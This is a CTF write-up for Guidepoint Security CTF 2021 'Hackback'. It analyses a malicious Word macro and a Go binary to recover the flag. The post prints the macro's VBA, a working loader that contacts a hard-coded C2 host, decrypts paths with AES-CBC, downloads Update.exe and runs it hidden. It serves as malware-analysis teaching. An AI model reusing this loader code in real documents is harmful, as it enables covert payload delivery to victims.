Guidepoint Security CTF 2021 - Hackback (1 &) 2 (pwn)
This challenge is a little odd for me since I found the flag for part 2 but despite spending considerable time, never found the flag for part 1 of this challenge.
For this challenge we get a .doc
file (So ye olde MS Word format, none of that fancy new .docx
stuff.) as well as a web page, which does not seem to do much for us yet.
We quickly find this document contains macros, and using oledump.py we can extract the macro code.
The macro does some setup (like installing the .NET framework) but we’ll skip to the meat and potatoes of it;
Sub begin()
Dim campaign As String
Dim gofolderenc As String, sl As Integer
Dim k As String, go As String
sl = 1
campaign = "7"
Sleep sl * 1000
gofolderenc = reqcreate(campaign, sl)
k = initialize(gofolderenc)
go = localpath & " " & gokey
CreateObject("Wscript.Shell").Run go, 0, True
End Sub
We’re setting a “campaign” and “sl” variable and running a reqcreate
function. Let’s have a look at that one.
Function reqcreate(campaign As String, sl As Integer) As String
Dim folder As String
Dim loc As String, r As Object, url As String
h = "10.10.100.200"
p = "55555"
loc = "/create.php?c=" & campaign & "&s=" & sl
Set r = CreateObject("WinHttp.WinHttpRequest.5.1")
url = "http://" & h & ":" & p & loc
r.Open "GET", url, False
r.Option(0) = "Req Trick Agent v1.0"
r.Option(4) = 13056
r.Option(12) = True
r.Send
reqcreate = r.ResponseText
End Function
It looks like we’re making some request to our web server with the variables we set earlier. I’m not sure what r.Option(0)
is, but that looks like it might be a User-Agent string so we’ll include that in our request. (As it turns out you need to set the user-agent or the web server will give you an error.)
The s
parameter was used for a “sleep” before so I guessed the same would be true here and I just set to to 1 for my request. This turned out to work fine.
We now also have the value for gofolderenc
(pU7T0iHVMZ5yAAaRp28mLafu/+FaRDzm7ypRqFA4YtODp77t8s+BAzU4DnTAf2XP
in our example) and we can continue looking at the initialize
function:
Function initialize(gofolderenc As String)
pw = "2jce3LsR9khUon5dLu2F1DlDDK5np1xP"
keyfolder = "iDGJoEgNHt3DnfrGfcIVY1o/ytcANZVWq8167WFIc00uhfnYPcY673/E4mgGFeNh"
iv = "Y21FR2lTdTE5Mk5OODBMaQ=="
gokey = reqkey(keyfolder)
gofolder = DecryptString(pw, iv, gofolderenc)
initialize = reqfile(gofolder)
End Function
We have some variables that look like they will be used for some decryption but let’s look at the reqkey
function first:
Function reqkey(folderec As String) As String
Dim folder As String
Dim loc As String, r As Object, url As String
folder = DecryptString(pw, iv, folderec)
loc = "/" & folder & "/Key.txt"
Set r = CreateObject("WinHttp.WinHttpRequest.5.1")
url = "http://" & h & ":" & p & loc
r.Open "GET", url, False
r.Option(0) = "Req Trick Agent v1.0"
r.Option(4) = 13056
r.Option(12) = True
r.Send
reqkey = r.ResponseText
End Function
It seems like we cannot avoid that DecryptString
function after all so let’s take a look at that then;
Attribute VB_Name = "DCString"
Function DecryptString(pw As String, iv As String, ci As String) As String
Dim text As Object, symmetricKey As Object, ivb As String
Dim abc() As Byte, final() As Byt
eSet text = CreateObject("System.Text.UTF8Encoding")
Set symmetricKey = CreateObject("System.Security.Cryptography.RijndaelManaged")
ivb = Decode64(iv)
With symmetricKey
.key = text.GetBytes_4(pw)
.iv = text.GetBytes_4(ivb)
.Padding = 2
End With
abc = B64Decode(ci)
final = symmetricKey.CreateDecryptor().TransformFinalBlock(abc, 0, UBound(abc) + 1)
DecryptString = Decode64(B64Encode(final))
End Function
Now this may look a little daunting but anyone familiar with some common cryptography functions will probably see what’s going on here. It’s just doing base-64 decoding and AES in CBC mode. We can kindly ask cyberchef to do these steps for us since we have all the parameters we need now. The decrypted value is z5q7BWy3EGQ1UhteLbRmZKVKlzcsCQbQ
so now we just need to fire another http request at our web server for /z5q7BWy3EGQ1UhteLbRmZKVKlzcsCQbQ/Key.txt
and we have our gokey
variable value. (It was dIOHgWh2IocX7YRsP8P6RyxbAbwCm9tl
in our case.)
Now we know how to decrypt things we can also easily decrypt our gofolderenc
variable from earlier, which turns out to be SMfAvSWKU267Pz220M93czk0TMJrSQU8
The reqfile
function is pretty much the same as reqkey
except we now grab a file called Update.exe
. Way back in our begin
function we can see that this binary will be launched with the gokey
variable as its first and only parameter.
The macro code does some cleanup of the binary after that, but nothing that we’re too terribly interested in, so let’s take a look at this binary in Ghidra next.
Reversing golang binaries can be a little tricky but starting at the main.Main
function (the entry point for a golang binary) we see a little checking if there’s an argument given (or gokey that was passed to it before) and then it just sleeps for a long time before calling the main.CBCDecrypter
function.
Again, go binaries are a little rough in Ghidra, but looking trough the code for this CBCDecrypter
function I found another base64 string in the program. I did not find an IV in the go binary but guessed that it might be the same as before and it turned out that was correct, so I did not need to look for it further. Decrypting this with our gokey argument that was passed to the binary we get our flag for part 2.